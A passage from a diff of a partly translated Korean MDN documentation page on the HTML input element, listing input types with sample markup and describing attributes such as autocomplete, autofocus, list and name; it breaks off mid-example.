+    <p>값이 가려진 숫자를 입력하는 컨트롤. 디폴트 값이 중간값인 범위 위젯으로 표시합니다. 접속사 {{anch('min')}} 와 {{anch('max')}} 사이에 사용되며 수용가능한 값의 범위를 정의합니다.</p>
+   </td>
+   <td id="examplerange">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="range" name="range" min="0" max="25"/&gt;</pre>
+    {{EmbedLiveSample("examplerange",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/reset", "reset")}}</td>
+   <td>양식의 내용을 디폴트값(기본값)으로 초기화하는 버튼. 권장되지 않습니다.</td>
+   <td id="examplereset">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="reset" name="reset"/&gt;</pre>
+    {{EmbedLiveSample("examplereset",200,55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/search", "search")}}</td>
+   <td>
+    <p>검색문자열을 입력하는 한줄 텍스트 필드. 줄바꿈 문자는 입력값에서 자동으로 제거됩니다. 지원 브라우저에서 필드를 클리어하기 위해 사용되는 삭제 아이콘이 포함됩니다. 동적 키패드들이 있는 몇몇 장치에서 엔터키 대신에 검색 아이콘을 표시합니다.</p>
+   </td>
+   <td id="examplesearch">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="search" name="search"/&gt;</pre>
+    {{EmbedLiveSample("examplesearch",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/submit", "submit")}}</td>
+   <td>양식을 전송하는 버튼</td>
+   <td id="examplesubmit">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="submit" name="submit"/&gt;</pre>
+    {{EmbedLiveSample("examplesubmit",200,55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/tel", "tel")}}</td>
+   <td>전화번호를 입력하는 컨트롤. 몇몇 장치에서 동적 키패드들과 전화번호 입력기를 표시한다.</td>
+   <td id="exampletel">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="tel" name="tel"/&gt;</pre>
+    {{EmbedLiveSample("exampletel",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/text", "text")}}</td>
+   <td>
+    <p>디폴트 값. 한줄의 텍스트 필드입니다. 새줄 문자는 입력값으로부터 자동으로 제거됩니다.</p>
+   </td>
+   <td id="exampletext">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="text" name="text"/&gt;</pre>
+    {{EmbedLiveSample("exampletext",200,55,"","", "nobutton")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/time", "time")}}</td>
+   <td>시간대가 없는 시간값을 입력하는 콘트롤</td>
+   <td id="exampletime">
+    <pre class="brush: html hidden notranslate">
+&lt;input  type="time" name="time"/&gt;</pre>
+    {{EmbedLiveSample("exampletime",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/url", "url")}}</td>
+   <td>URL을 입력하는 필드. 텍스트 입력처럼 보이지만, 검증 매개변수가 있습니다. 동적 키보드들을 지원하는 브라우저와 장치들에 관련된 키보드가 있습니다.</td>
+   <td id="exampleurl">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="url" name="url"/&gt;</pre>
+    {{EmbedLiveSample("exampleurl",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/week", "week")}}</td>
+   <td>시간대가 없는 주-년 값과 주의 값을 구성하는 날짜를 입력하는 컨트롤입니다.</td>
+   <td id="exampleweek">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="week" name="week"/&gt;</pre>
+    {{EmbedLiveSample("exampleweek",200,55,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+  <tr>
+   <th colspan="4">퇴화한 값</th>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input/datetime", "datetime")}}</td>
+   <td>
+    <p>{{deprecated_inline}} {{obsolete_inline}} UTC 시간대에 기반한 날짜와 시간(시,분,초 그리고 초의 분수)을 입력하는 콘트롤입니다.</p>
+   </td>
+   <td id="exampledatetime">
+    <pre class="brush: html hidden notranslate">
+&lt;input type="datetime" name="datetime"/&gt;</pre>
+    {{EmbedLiveSample("exampledatetime",200,75,"","", "nobutton")}}</td>
+   <td>{{HTMLVersionInline("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p><code>&lt;input&gt;</code> 요소가 강력한 이유는 바로 다양한 속성 때문입니다. 그 중에서도, 위의 표에서 확인할 수 있는 {{htmlattrxref("type", "input")}} 속성이 제일 중요합니다. 모든 <code>&lt;input&gt;</code> 요소는 유형에 상관하지 않고 {{domxref("HTMLInputElement")}} 인터페이스에 기반하므로, 기술적으로는 모든 <code>&lt;input&gt;</code>이 동일한 속성을 가집니다. 그러나 사실 대부분의 속성은 일부 유형에서만 효과를 보입니다. 게다가, 어떤 속성은 유형별로 그 영향이 달라집니다.</p>
+
+<p>여기에서는 모든 속성값들에 대해 간략한 설명을 담은 표를 제공합니다. 이 표 다음에는 각각의 속성을 더욱 상세하게 설명하는 목록이 나오는데, 그들이 연관된 input 유형과 함께 나옵니다. 대부분의 혹은 모든 input 유형에 공통적인 속성들은 그 아래 더욱 상세하게 설명되어 있습니다. 몇몇 input 유형에만 특정하게 해당하는 속성들이나 모든 유형에 공통적으로 해당하지만 특정 유형에 사용될 때 특정한 행동양식을 나타내는 속성들은 그 유형의 해당 페이지에 대신 기술되어 있습니다. 이 요소에는 글로벌 속성들도 포함됩니다. input에 관련된 특별히 중요한 속성들은 하이라이트로 표시되었습니다. </p>
+
+<table class="standard-table">
+ <caption>{{htmlelement('input')}} 요소는 전역 속성(Global Attributes)과 다음 특성을 포함합니다.</caption>
+ <thead>
+  <tr>
+   <th scope="col">특성</th>
+   <th scope="col">유형</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{anch('htmlattrdefaccept', 'accept')}}</td>
+   <td>file</td>
+   <td>파일을 업로드 컨트롤에서 기대하는 파일 유형을 암시</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefalt', 'alt')}}</td>
+   <td>image</td>
+   <td>이미지 유형에 대한 대체 속성. accessibiltiy 측면에서 필요.</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefautocomplete', 'autocomplete')}}</td>
+   <td>all</td>
+   <td>양식 자동생성 기능 (form autofill) 암시</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefautofocus', 'autofocus')}}</td>
+   <td>all</td>
+   <td>페이지가 로딩될때 양식 제어에 오토포커스</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefcapture', 'capture')}}</td>
+   <td>file</td>
+   <td>파일 업로드 제어에서 input 방식에서 미디어 capture </td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefchecked', 'checked')}}</td>
+   <td>radio, checkbox</td>
+   <td>커맨드나 컨트롤이 체크 되었는지의 여부</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefdirname', 'dirname')}}</td>
+   <td>text, search</td>
+   <td>양식 전송시 요소의 방향성을 전송할 때 양식 필드의 Name</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefdisabled', 'disabled')}}</td>
+   <td>all</td>
+   <td>양식 컨트롤이 비활성화되었는지의 여부</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefform', 'form')}}</td>
+   <td>all</td>
+   <td>컨트롤을 양식 요소와 연결</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefformaction', 'formaction')}}</td>
+   <td>image, submit</td>
+   <td>양식 전송시 URL 사용하기</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefformenctype', 'formenctype')}}</td>
+   <td>image, submit</td>
+   <td>양식의 데이터 인코딩 유형이 양식 전송시 사용될 것</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefformmethod', 'formmethod')}}</td>
+   <td>image, submit</td>
+   <td>양식 전송시 HTTP 방식을 사용</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefformnovalidate', 'formnovalidate')}}</td>
+   <td>image, submit</td>
+   <td>양식 전송시 양식 컨트롤 확인을 무시하기</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefformtarget', 'formtarget')}}</td>
+   <td>image, submit</td>
+   <td>양식 전송시 브라우징 맥락</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefheight', 'height')}}</td>
+   <td>image</td>
+   <td>이미지 높이에서  <code>height</code> 속성과 같음</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdeflist', 'list')}}</td>
+   <td>almost all</td>
+   <td>datalist 자동입력 옵션의 id 속성값</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefmax', 'max')}}</td>
+   <td>numeric types</td>
+   <td>최대값</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefmaxlength', 'maxlength')}}</td>
+   <td>password, search, tel, text, url</td>
+   <td><code>value</code>의 최대 길이 (문자수) </td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefmin', 'min')}}</td>
+   <td>numeric types</td>
+   <td>최소값</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefminlength', 'minlength')}}</td>
+   <td>password, search, tel, text, url</td>
+   <td><code>value</code>의 최소 길이 (문자수)</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefmultiple', 'multiple')}}</td>
+   <td>email, file</td>
+   <td>불리언값. 여러 값을 허용할지의 여부</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefname', 'name')}}</td>
+   <td>all</td>
+   <td>input 양식 컨트롤의 이름. 이름/값 짝(name/value pair)의 일부로서 양식과 함께 전송된다</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefpattern', 'pattern')}}</td>
+   <td>password, text, tel</td>
+   <td><code>value</code> 가 유효하기 위해 일치해야 하는 패턴</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefplaceholder', 'placeholder')}}</td>
+   <td>password, search, tel, text, url</td>
+   <td>양식 컨트롤이 비어있는 때 양식 컨트롤에 나타나는 내용</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/HTML/Attributes/readonly">readonly</a></td>
+   <td>almost all</td>
+   <td>불리언값. 이 값은 수정이 불가능함</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/HTML/Attributes/required">required</a></td>
+   <td>almost all</td>
+   <td>불리언값. 양식이 전송되기 위해서 반드시 입력하거나 확인이 필요한 값</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefsize', 'size')}}</td>
+   <td>email, password, tel, text</td>
+   <td>컨트롤의 크기</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefsrc', 'src')}}</td>
+   <td>image</td>
+   <td>이미지 출처의 주소에서 <code>src</code> 와 같은 속성</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefstep', 'step')}}</td>
+   <td>numeric types</td>
+   <td>유효한 증분적인 (Incremental)값</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdeftype', 'type')}}</td>
+   <td>all</td>
+   <td>input 양식 컨트롤의 유형</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefvalue', 'value')}}</td>
+   <td>all</td>
+   <td>양식 컨트롤의 현재 값. 이름/값 짝(name/value pair)의 일부로서 양식과 함께 전송된다</td>
+  </tr>
+  <tr>
+   <td>{{anch('htmlattrdefwidth', 'width')}}</td>
+   <td>image</td>
+   <td>이미지의  <code>width</code> 속성과 같다</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>A few additional non-standard attributes are listed following the descriptions of the standard attributes</p>
+
+<h3 id="개별_속성">개별 속성</h3>
+
+<dl>
+ <dt id="htmlattrdefaccept">{{htmlattrdef("accept")}}</dt>
+ <dd>
+ <p>Valid for the <code>file</code> input type only, the <code>accept</code> property defines which file types are selectable in a <code>file</code> upload control. See the {{HTMLElement("input/file", "file")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefalt">{{htmlattrdef("alt")}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> button only, the alt attribute provides alternative text for the image, displaying the value of the attribute if the image {{anch("src")}} is missing or otherwise fails to load. See the {{HTMLElement("input/image", "image")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefautocomplete">{{htmlattrdef("autocomplete")}}</dt>
+ <dd>
+ <p><strong>Not</strong> a Boolean attribute, the <code><a href="/en-US/docs/Web/HTML/Attributes/autocomplete">autocomplete</a></code> attribute takes as its value a space separated string that describes what, if any, type of autocomplete functionality the input should provide. A typical implementation of autocomplete simply recalls previous values entered in the same input field, but more complex forms of autocomplete can exist. For instance, a browser could integrate with a device's contacts list to autocomplete email addresses in an email input field. See {{SectionOnPage("/en-US/docs/Web/HTML/Attributes/autocomplete", "Values")}} for permitted values.</p>
+
+ <p>The <code>autocomplete</code> attribute is valid on <code>hidden</code>, <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, <code>range</code>, <code>color</code> and <code>password</code>. This attribute has no effect on input types that do not return numeric or text data, being valid for all input types except <code>checkbox</code>, <code>radio</code>, <code>file</code>, or any of the button types. See <a href="/en-US/docs/Web/HTML/Attributes/autocomplete">The HTML autocomplete attribute</a> for additional information, including information on password security and how <code>autocomplete</code> is slightly different for <code>hidden</code> than for other input types.</p>
+ </dd>
+ <dt id="htmlattrdefautofocus">{{htmlattrdef("autofocus")}}</dt>
+ <dd>
+ <p>A Boolean attribute which, if present, indicates that the input should automatically have focus when the page has finished loading (or when the {{HTMLElement("dialog")}} containing the element has been displayed).</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> An element with the <code>autofocus</code> attribute may gain focus before the {{domxref("DOMContentLoaded")}} event is fired.</p>
+ </div>
+
+ <p>No more than one element in the document may have the <code>autofocus</code> attribute, and <code>autofocus</code> cannot be used on inputs of type <code>hidden</code>, because hidden inputs can't be focused. If put on more than one element, the first one with the attribute receives focus .</p>
+
+ <div class="warning">
+ <p><strong>Warning:</strong> Automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments. When <code>autofocus</code> is assigned, screen-readers "teleport" their user to the form control without warning them beforehand.</p>
+ </div>
+
+ <p>For better usability, avoid using <code>autofocus</code>. Automatically focusing on a form control can cause the page to scroll on load. The focus can also cause dynamic keyboards to display on some touch devices. While a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content.</p>
+ </dd>
+ <dt id="htmlattrdefcapture">{{htmlattrdef("capture")}}</dt>
+ <dd>
+ <p>Introduced in the HTML Media Capture specification and valid for the <code>file</code> input type only, the <code>capture</code> attribute defines which media - microphone, video, or camera - should be used to capture a new file for upload with <code>file</code> upload control in supporting scenarios. See the {{HTMLElement("input/file", "file")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefchecked">{{htmlattrdef("checked")}}</dt>
+ <dd>
+ <p>Valid for both <code>radio</code> and <code>checkbox</code> types, <code>checked</code> is a Boolean attribute. If present on a radio type, it indicates that that radio button is the currently selected one in the group of same-named radio buttons. If present on a <code>checkbox</code> type, it indicates that the checkbox is checked by default (when the page loads). It does <em>not</em> indicate whether this checkbox is currently checked: if the checkbox’s state is changed, this content attribute does not reflect the change. (Only the <a href="/en-US/docs/Web/API/HTMLInputElement"><code>HTMLInputElement</code>’s <code>checked</code> IDL attribute</a> is updated.)</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> Unlike other input controls, a checkboxes and radio buttons value are only included in the submitted data if they are currently <code>checked</code>. If they are, the name and the value(s) of the checked controls are submitted.</p>
+
+ <p>For example, if a checkbox whose <code>name</code> is <code>fruit</code> has a <code>value</code> of <code>cherry</code>, and the checkbox is checked, the form data submitted will include <code>fruit=cherry</code>. If the checkbox isn't active, it isn't listed in the form data at all. The default <code>value</code> for checkboxes and radio buttons is <code>on</code>.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefdirname">{{htmlattrdef("dirname")}}</dt>
+ <dd>
+ <p>Valid for <code>text</code> and <code>search</code> input types only, the <code>dirname</code> attribute enables the submission of the directionality of the element. When included, the form control will submit with two name/value pairs: the first being the {{anch('name')}} and {{anch('value')}}, the second being the value of the <code>dirname</code> as the name with the value of <code>ltr</code> or <code>rtl</code> being set by the browser.</p>
+
+ <pre class="notranslate"><code class="html">&lt;form action="page.html" method="post"&gt;
+  &lt;label&gt;Fruit: &lt;input type="text" name="fruit" dirname="fruit.dir" value="cherry"&gt;&lt;/label&gt;
+  &lt;input type="submit"/&gt;
+&lt;/form&gt;
+&lt;!-- page.html?fruit=cherry&amp;fruit.dir=ltr --&gt;</code>
+</pre>
+
+ <p>When the form above is submitted, the input cause both the <code>name</code> / <code>value</code> pair of <code>fruit=cherry</code> and the <code>dirname</code> / direction pair of <code>fruit.dir=ltr</code> to be sent.</p>
+ </dd>
+ <dt id="htmlattrdefdisabled">{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>A Boolean attribute which, if present, indicates that the user should not be able to interact with the input. Disabled inputs are typically rendered with a dimmer color or using some other form of indication that the field is not available for use.</p>
+
+ <p>Specifically, disabled inputs do not receive the {{event("click")}} event, and disabled inputs are not submitted with the form.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> Although not required by the specification, Firefox will by default <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of an <code>&lt;input&gt;</code> across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefform">{{htmlattrdef("form")}}</dt>
+ <dd>
+ <p>A string specifying the {{HTMLElement("form")}} element with which the input is associated (that is, its <strong>form owner</strong>). This string's value, if present, must match the {{htmlattrxref("id")}} of a <code>&lt;form&gt;</code> element in the same document. If this attribute isn't specified, the <code>&lt;input&gt;</code> element is associated with the nearest containing form, if any.</p>
+
+ <p>The <code>form</code> attribute lets you place an input anywhere in the document but have it included with a form elsewhere in the document.</p>
+
+ <div class="note">
+ <p><strong>Note:</strong> An input can only be associated with one form.</p>
+ </div>
+ </dd>
+ <dt id="htmlattrdefformaction">{{htmlattrdef('formaction')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefformenctype">{{htmlattrdef('formenctype')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefformmethod">{{htmlattrdef('formmethod')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefformnovalidate">{{htmlattrdef('formnovalidate')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefformtarget">{{htmlattrdef('formtarget')}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> and <code>submit</code> input types only. See the {{HTMLElement("input/submit", "submit")}} input type for more information.</p>
+ </dd>
+ <dt id="htmlattrdefheight">{{htmlattrdef("height")}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> input button only, the <code>height</code> is the height of the image file to display to represent the graphical submit button. See the {{HTMLElement("input/image", "image")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefheight">{{htmlattrdef("id")}}</dt>
+ <dd>
+ <p>Global attribute valid for all elements, including all the input types, it defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking. The value is used as the value of the {{htmlelement('label')}}'s <code>for</code> attribute to link the label with the form control. See the {{anch('the label element')}} below.</p>
+ </dd>
+ <dt id="htmlattrdefheight">{{htmlattrdef("inputmode")}}</dt>
+ <dd>
+ <p>Global value valid for all elements, it provides a hint to browsers as to the type of virtual keyboard configuration to use when editing this element or its contents. Values include none<br>
+  <code>text</code>, <code>tel</code>, <code>url</code>, <code>email</code>, <code>numeric</code>, <code>decimal</code>, and <code>search</code></p>
+ </dd>
+ <dt id="htmlattrdeflist">{{htmlattrdef("list")}}</dt>
+ <dd id="datalist">
+ <p>The values of the list attribute is the {{domxref("Element.id", "id")}} of a {{HTMLElement("datalist")}} element located in the same document. The <code>&lt;datalist&gt;</code> provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the {{htmlattrxref("type", "input")}} are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value.</p>
+
+ <pre class="brush: html hidden notranslate">&lt;datalist id="colorsxx"&gt;
+  &lt;option&gt;#ff0000&lt;/option&gt;
+  &lt;option&gt;#ee0000&lt;/option&gt;
+  &lt;option&gt;#dd0000&lt;/option&gt;
+  &lt;option&gt;#cc0000&lt;/option&gt;
+  &lt;option&gt;#bb0000&lt;/option&gt;
+&lt;/datalist&gt;
+&lt;datalist id="numbersxx"&gt;
+  &lt;option&gt;0&lt;/option&gt;
+  &lt;option&gt;2&lt;/option&gt;
+  &lt;option&gt;4&lt;/option&gt;
+  &lt;option&gt;8&lt;/option&gt;
+  &lt;option&gt;16&lt;/option&gt;
+  &lt;option&gt;32&lt;/option&gt;
+  &lt;option&gt;64&lt;/option&gt;
+&lt;/datalist&gt;
+&lt;datalist id="fruitsxx"&gt;
+  &lt;option&gt;cherry&lt;/option&gt;
+  &lt;option&gt;banana&lt;/option&gt;
+  &lt;option&gt;mango&lt;/option&gt;
+  &lt;option&gt;orange&lt;/option&gt;
+  &lt;option&gt;blueberry&lt;/option&gt;
+&lt;/datalist&gt;
+&lt;datalist id="urlsxx"&gt;
+  &lt;option&gt;https://developer.mozilla.org&lt;/option&gt;
+  &lt;option&gt;https://caniuse.com/&lt;/option&gt;
+  &lt;option&gt;https://mozilla.com&lt;/option&gt;
+  &lt;option&gt;https://mdn.github.io&lt;/option&gt;
+  &lt;option&gt;https://www.youtube.com/user/firefoxchannel&lt;/option&gt;
+&lt;/datalist&gt;
+
+&lt;p&gt;&lt;label for="textx"&gt;Text&lt;/label&gt; &lt;input type="text" list="fruitsxx" id="textx"/&gt;&lt;/p&gt;
+&lt;p&gt;&lt;label for="colorx"&gt;Color&lt;/label&gt; &lt;input type="color" list="colorsxx" id="colorx"/&gt;&lt;/p&gt;
+&lt;p&gt;&lt;label for="rangex"&gt;Range&lt;/label&gt; &lt;input type="range" min="0" max="64" list="numbersxx" id="rangex"/&gt;&lt;/p&gt;
+&lt;p&gt;&lt;label for="numberx"&gt;Number&lt;/label&gt; &lt;input type="number" min="0" max="64" list="numbersxx" id="numberx"/&gt;&lt;/p&gt;
+&lt;p&gt;&lt;label for="urlx"&gt;URL&lt;/label&gt; &lt;input type="url" list="urlsxx" id="urlx"/&gt;&lt;/p&gt;</pre>
+
+ <p>{{EmbedLiveSample("datalist",400,275,"","", "nobutton")}}</p>
+
+ <p>It is valid on <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, <code>range</code>, and <code>color.</code>Per the specifications, the <code>list</code> attribute is not supported by the <code>hidden</code>, <code>password</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or any of the button types.</p>
+
+ <p>Depending on the browser, the user may see a custom color palette suggested, tic marks along a range, or even a input that opens like a select but allows for non-listed values. Check out the <a href="/en-US/docs/Web/HTML/Element/datalist#Browser_compatibility">browser compatibility table</a> for the other input types.</p>
+
+ <p>See the {{htmlelement('datalist')}} element.</p>
+ </dd>
+ <dt id="htmlattrdefmax"><a href="/en-US/docs/Web/HTML/Attributes/max">{{htmlattrdef("max")}}</a></dt>
+ <dd>
+ <p>Valid for <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, and <code>range</code>, it defines the greatest value in the range of permitted values. If the {{htmlattrxref("value", "input")}} entered into the element exceeds this, the element fails <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. If the value of the <code>max</code> attribute isn't a number, then the element has no maximum value.</p>
+ </dd>
+ <dt id="htmlattrdefmaxlength">{{htmlattrdef("maxlength")}}</dt>
+ <dd>
+ <p>Valid for <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, and <code>password</code>, it defines the maximum number of characters (as UTF-16 code units) the user can enter into the field. This must be an integer value 0 or higher. If no <code>maxlength</code> is specified, or an invalid value is specified, the field has no maximum length. This value must also be greater than or equal to the value of <code>minlength</code>.</p>
+
+ <p>The input will fail <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> if the length of the text entered into the field is greater than <code>maxlength</code> UTF-16 code units long. By default, browsers prevent users from entering more characters than allowed by the <code>maxlength</code> attribute. See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdefmin">{{htmlattrdef("min")}}</dt>
+ <dd>
+ <p>Valid for <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, and <code>range</code>, it defines the most negative value in the range of permitted values. If the {{htmlattrxref("value", "input")}} entered into the element is less than this this, the element fails <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. If the value of the <code>min</code> attribute isn't a number, then the element has no minimum value.</p>
+
+ <p>This value must be less than or equal to the value of the <code>max</code> attribute. If the <code>min</code> attribute is present by is not specified or is invalid, no <code>min</code> value is applied. If the <code>min</code> attribute is valid and a non-empty value is less than the minimum allowed by the <code>min</code> attribute, constraint validation will prevent form submission. See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdefminlength">{{htmlattrdef("minlength")}}</dt>
+ <dd>
+ <p>Valid for <code>text</code>, <code>search</code>, <code>url</code>, <code>tel</code>, <code>email</code>, and <code>password</code>, it defines the minimum number of characters (as UTF-16 code units) the user can enter into the entry field. This must be an non-negative integer value smaller than or equal to the value specified by <code>maxlength</code>. If no <code>minlength</code> is specified, or an invalid value is specified, the input has no minimum length.</p>
+
+ <p>The input will fail <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a> if the length of the text entered into the field is fewer than <code>minlength</code> UTF-16 code units long, preventing form submission. See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdefmultiple">{{htmlattrdef("multiple")}}</dt>
+ <dd>
+ <p>The Boolean multiple attribute, if set, means the user can enter comma separated email addresses in the email widget or can choose more than one file with the <code>file</code> input. See the {{HTMLElement("input/email", "email")}} and {{HTMLElement("input/file", "file")}} input type.</p>
+ </dd>
+ <dt id="htmlattrdefname">{{htmlattrdef("name")}}</dt>
+ <dd>
+ <p>A string specifying a name for the input control. This name is submitted along with the control's value when the form data is submitted.</p>
+
+ <h5 id="Whats_in_a_name">What's in a name</h5>
+
+ <p>Consider the <code>name</code> a required attribute (even though it's not). If an input has no <code>name</code> specified, or <code>name</code> is empty, the input's value is not submitted with the form. (Disabled controls, unchecked radio buttons, unchecked checkboxes, and reset buttons are also not sent.)</p>
+
+ <p>There are two special cases:</p>
+
+ <ol>
+  <li><code>_charset_</code> : If used as the name of an <code>&lt;input&gt;</code> element of type <code><a href="/en-US/docs/Web/HTML/Element/input/hidden">hidden</a></code>, the input's <code>value</code> is automatically set by the <a class="glossaryLink" href="/en-US/docs/Glossary/user_agent" title="user agent: A user agent is a computer program representing a person, for example, a browser in a Web context.">user agent</a> to the character encoding being used to submit the form.</li>
+  <li><code>isindex</code>: For historical reasons, the name <code><a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fe-name">isindex</a></code> is not allowed.</li>
+ </ol>
+
+ <h5 id="name_and_radio_buttons"><code>name</code> and radio buttons</h5>
+
+ <p>The {{anch('name')}} attribute creates a unique behavior for radio buttons.</p>
+
+ <p>Only one radio button in a same-named group of radio buttons can be checked at a time. Selecting any radio button in that group automatically deselects any currently-selected radio button in the same group. The value of that one checked radio button is sent along with the name if the form is submitted,</p>
+
+ <p>When tabbing into a series of same-named group of radio buttons, if one is checked, that one will receive focus. If they aren't grouped together in source order, if one of the group is checked, tabbing into the group starts when the first one in the group is encountered, skipping all those that aren't checked. In other words, if one is checked, tabbing skips the unchecked radio buttons in the group. If none are checked, the radio button group receives focus when the first button in the same name group is reached.</p>
+
+ <p>Once one of the radio buttons in a group has focus, using the arrow keys will navigate thru all the radio buttons of the same name, even if the radio buttons are not grouped together in the source order.</p>
+
+ <h5 id="domxrefHTMLFormElement.elements">{{domxref("HTMLFormElement.elements")}}</h5>
+
+ <p>When an input element is given a <code>name</code>, that name becomes a property of the owning form element's {{domxref("HTMLFormElement.elements")}} property. If you have an input whose <code>name</code> is set to <code>guest</code> and another whose <code>name</code> is <code>hat-size</code>, the following code can be used:</p>
+
+ <pre class="brush: js notranslate">let form = document.querySelector("form");
+
